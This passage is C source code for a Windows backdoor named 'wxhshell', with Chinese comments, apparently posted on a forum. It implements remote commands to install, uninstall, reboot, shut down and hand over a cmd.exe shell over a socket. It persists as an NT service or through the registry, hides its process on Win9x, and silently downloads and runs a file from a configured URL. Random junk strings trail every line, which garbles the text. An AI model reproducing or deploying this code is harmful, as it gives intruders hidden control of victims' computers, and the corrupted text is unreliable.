  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =@*P})w5.  
  else Eoh{+>:6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q Oyo+hu  
  } t2_pwd*B  
  else { hOM#j  
VK[`e[.C  
    switch(cmd[0]) { ,cFBLj(@  
   YF$nL(  
  // 帮助 h { M=V  
  case '?': { W8N__  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Oh*Q(>  
    break; (X/dP ~  
  } 2*pNIc  
  // 安装 *}RV)0mif  
  case 'i': { COFCa&m9c  
    if(Install()) r 3FUddF'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#, TdP]/  
    else EY}*}-3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z@gEJ^"yA"  
    break; (Y~gItej  
    } FB }8  
  // 卸载 8Y P7'Fz  
  case 'r': { c +N\uG4  
    if(Uninstall()) !n`Y^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >o4Ih^VB  
    else n_eN|m?@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s0/y> ok  
    break; Q7(I'  
    } 'tJ@+(tqw  
  // 显示 wxhshell 所在路径 ppR; v  
  case 'p': { I'c rH/z9  
    char svExeFile[MAX_PATH]; H]PEE!C;xC  
    strcpy(svExeFile,"\n\r"); 4O '%$6KR(  
      strcat(svExeFile,ExeFile); ,jJbQIu#  
        send(wsh,svExeFile,strlen(svExeFile),0); 19*D*dkBR  
    break; LNOz.2fr>  
    } -:|t^RM;FT  
  // 重启 I`uOsZBO/  
  case 'b': { _5H0<%\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UE 1tm  
    if(Boot(REBOOT)) 3)3$ L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J{r3y&:  
    else { AkA2/7<[  
    closesocket(wsh); ij&T \):d  
    ExitThread(0); _Eus7  
    } n}3fItSJ  
    break; y1t,i. [  
    } {(_>A\zi  
  // 关机 AI9#\$aGV  
  case 'd': { @%gth@8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aB2t/ua  
    if(Boot(SHUTDOWN)) \!df)qdu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak+MR EG  
    else { nRh.;G  
    closesocket(wsh); q4]Qvf>  
    ExitThread(0); `Oe"s_O#  
    } A ^X1  
    break; H'x) [2  
    } }HxC ~J"  
  // 获取shell ]?UK98uS\A  
  case 's': { 6GsB*hW  
    CmdShell(wsh); 2<TpNGXM_  
    closesocket(wsh); U$EQeb  
    ExitThread(0); ]_mcJ/6:  
    break; gmdA1$c  
  } >L,Pw1Y0W[  
  // 退出 VdF<#(X+  
  case 'x': { *4O9W8Qz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yBnUz"  
    CloseIt(wsh); 4N_iHe5U  
    break; g$^I/OK?  
    } B; r` 1 G  
  // 离开 ?7\$zn)v#  
  case 'q': { *5q_fO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bxvpj  
    closesocket(wsh); >36>{b<'$*  
    WSACleanup(); ?^!: Lw  
    exit(1); WNo<0|X  
    break; sO 0j!;N  
        }  ^9 Pae)  
  } b9"HTQHl  
  } Y%#r&de  
Cd'K~Ch3  
  // 提示信息 >m4HCs>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l]F)]>AE  
} YTV|]xpR  
  } %%^by  
llRQxk  
  return; 3R`eddenF  
} y/OPN<=*  
}= (|3 \v  
// shell模块句柄 d/l>~%bR  
int CmdShell(SOCKET sock) /YD2F  
{ #GIjU1-  
STARTUPINFO si; C$7dmGjZ  
ZeroMemory(&si,sizeof(si)); (x/xqDpmBS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -(l/.yE{X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p[:E$#W~;  
PROCESS_INFORMATION ProcessInfo; {/q4W; D  
char cmdline[]="cmd"; G&dz<f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vl:V?-sY  
  return 0; k_](u91  
} Gp}}M Gk  
z1m$8-4  
// 自身启动模式 -"/l)1ox,  
int StartFromService(void) t+2,;G  
{ TRku(w1f  
typedef struct N\W4LO6  
{ 4<q'QU#l<  
  DWORD ExitStatus; gYW  
  DWORD PebBaseAddress; q*d@5  
  DWORD AffinityMask; Ou wEO   
  DWORD BasePriority; 3#~w#Q0%  
  ULONG UniqueProcessId; +JPHQx'W  
  ULONG InheritedFromUniqueProcessId; %617f=(E?!  
}   PROCESS_BASIC_INFORMATION; X$9 "dL  
+=g9T`YbE  
PROCNTQSIP NtQueryInformationProcess; (VB-5&b  
97MbyEE8J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iv51,0A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4=7h1qex  
Cbjx{  
  HANDLE             hProcess; < SvjvV  
  PROCESS_BASIC_INFORMATION pbi; ~.&2N Ur  
&v.Nj9{zi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); be+tAp`  
  if(NULL == hInst ) return 0; Z Ne(sg~G  
=SpD6 9-H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G ,? l o=m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l@<yC-Xd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +WB';D  
Y^9b>H\2  
  if (!NtQueryInformationProcess) return 0; \Zmn!Gg  
K4j2xSGeo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q.Vcb!*$  
  if(!hProcess) return 0; ]}s'`44J9e  
q+?>shqsZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hWfC"0  
f1 TYQ?e  
  CloseHandle(hProcess); CZ}%\2>-v  
VZEDBZ x*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,B||8W9  
if(hProcess==NULL) return 0; Fv2U@n6'v  
OVhtU+r  
HMODULE hMod; Olltu"u  
char procName[255]; x5"F`T>Y  
unsigned long cbNeeded; bYB:Fe=2  
~-K<gT/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /4bHN:I]M  
z<z\)  
  CloseHandle(hProcess); HG:9yP<,o  
@&}~r  
if(strstr(procName,"services")) return 1; // 以服务启动 {+^qm8n  
m5KAKpCR,  
  return 0; // 注册表启动 OYayTKxN  
} iK=SK3)vR  
;vLg4k  
// 主模块 4j VFzO%.  
int StartWxhshell(LPSTR lpCmdLine) X2S:"0?7  
{ bbAJ5EqL  
  SOCKET wsl; v]e6CZwo  
BOOL val=TRUE; n s`njx}C  
  int port=0; <OA[u-ph%S  
  struct sockaddr_in door; e'L$g-;>4b  
+RN|ZG&  
  if(wscfg.ws_autoins) Install(); ddG5g  
6Cz%i 6)  
port=atoi(lpCmdLine); 3,$G?auW  
04P!l  
if(port<=0) port=wscfg.ws_port; 3Q_L6Wj~  
'?j,oRz^T  
  WSADATA data; z2DjYTm[~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _1U7@v:<@  
ebmU~6v k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E !}~j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o%V%@q H  
  door.sin_family = AF_INET; $ITh)#Nj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HqKI|^  
  door.sin_port = htons(port); *7:HO{P>Y  
j/*4Wj[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q=T/hb  
closesocket(wsl); CZ.XEMN\  
return 1; YpwMfl4  
} LG> lj$hO  
-naoM  
  if(listen(wsl,2) == INVALID_SOCKET) { <[w>Mbqj_  
closesocket(wsl); n1 kh8,  
return 1; YDo Vm?  
} 0DgEOW9H  
  Wxhshell(wsl); N\Li/  
  WSACleanup(); mjXO}q7  
@>4=}z_e  
return 0; 8@Hl0{q  
Q]"u?Q]  
} h Lv_ER?  
,!'L~{  
// 以NT服务方式启动 iQj2aK Gs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [|E|(@J  
{ =!Ce#p?h,  
DWORD   status = 0; ITf, )?|]Y  
  DWORD   specificError = 0xfffffff; \Cz uf   
dlB?/J<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (cLcY%$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kjOPsz*0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fjwUh>[ }  
  serviceStatus.dwWin32ExitCode     = 0; h:l4:{A64  
  serviceStatus.dwServiceSpecificExitCode = 0; TOvpv@?-  
  serviceStatus.dwCheckPoint       = 0; Z%1{B*(e  
  serviceStatus.dwWaitHint       = 0; )AoF-&,w  
t $yt8#Tk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?PSVVU q,Z  
  if (hServiceStatusHandle==0) return; jZLD^@AP  
1Z| {3W  
status = GetLastError(); gW(7jFl  
  if (status!=NO_ERROR) 6<N Q/*(/  
{ nW7Ew<`Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /+{]?y,  
    serviceStatus.dwCheckPoint       = 0; ]v6s](CE  
    serviceStatus.dwWaitHint       = 0; [H&Z / .{F  
    serviceStatus.dwWin32ExitCode     = status; ];VJ54  
    serviceStatus.dwServiceSpecificExitCode = specificError; "O j2B|:s&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6-vQQ-\  
    return; B9(e"cMm  
  } .6xIg+  
6Lhfb\2?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cc_v4d{x  
  serviceStatus.dwCheckPoint       = 0; gHe%N? '  
  serviceStatus.dwWaitHint       = 0; 0b~{l;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'X@>U6s  
} IQya{e  
@h$4Mt7N  
// 处理NT服务事件,比如:启动、停止 F4`5z)<*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]f< H?  
{ %tC3@S  
switch(fdwControl) ;;; {<GEQ  
{ -D-]tL6w  
case SERVICE_CONTROL_STOP: hfQx$cv6  
  serviceStatus.dwWin32ExitCode = 0; \yNe5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4(O;lVT}  
  serviceStatus.dwCheckPoint   = 0; s_`=ugue  
  serviceStatus.dwWaitHint     = 0; k5ZkD+0Jo  
  { `SH#t3 5,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oM4Q_An  
  } ~D$?.,=l  
  return; o6LZ05Z-&  
case SERVICE_CONTROL_PAUSE: 8R;A5o,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mu?hB{o1  
  break; t3b64J[A{  
case SERVICE_CONTROL_CONTINUE: F^bzE5#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &9:"X  
  break; }W)c-91  
case SERVICE_CONTROL_INTERROGATE: ]x<`(  
  break; JZM:R  
}; 3duWk sERC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p z]T9ol~  
} +#IsRiH%>  
V(A p|I:G  
// 标准应用程序主函数 d|?'yX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }jWZqIqj  
{ S85}&\m&4  
dD{{G :V  
// 获取操作系统版本 5l ioL)  
OsIsNt=GetOsVer(); P.Uz[_&l6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g k.c"$2  
\Rff3$  
  // 从命令行安装 0>KW94  
  if(strpbrk(lpCmdLine,"iI")) Install(); p[Yja y+  
WP b4L9<  
  // 下载执行文件 K9 tuiD+j  
if(wscfg.ws_downexe) { EX.`6,:+2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fZ)M Dq  
  WinExec(wscfg.ws_filenam,SW_HIDE); se:lKZZ]  
} vsU1Lzna6@  
v2tKk^6`(i  
if(!OsIsNt) { wf[B-2q)  
// 如果时win9x,隐藏进程并且设置为注册表启动 8H})Dq%d7  
HideProc(); sVjM^y24  
StartWxhshell(lpCmdLine); ,b/qcu_|-  
} O^W.5SaR  
else z%cpV{Nu  
  if(StartFromService()) RV2s@<0p  
  // 以服务方式启动 vUa&9Y  
  StartServiceCtrlDispatcher(DispatchTable); 5`?'}_[Yj  
else Hve'Z,X  
  // 普通方式启动 $%ts#56*  
  StartWxhshell(lpCmdLine); I8RPW:B;B  
.2V`sg.!  
return 0; !qjIhZi  
}
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只看该作者 1 发表于: 2006-10-10
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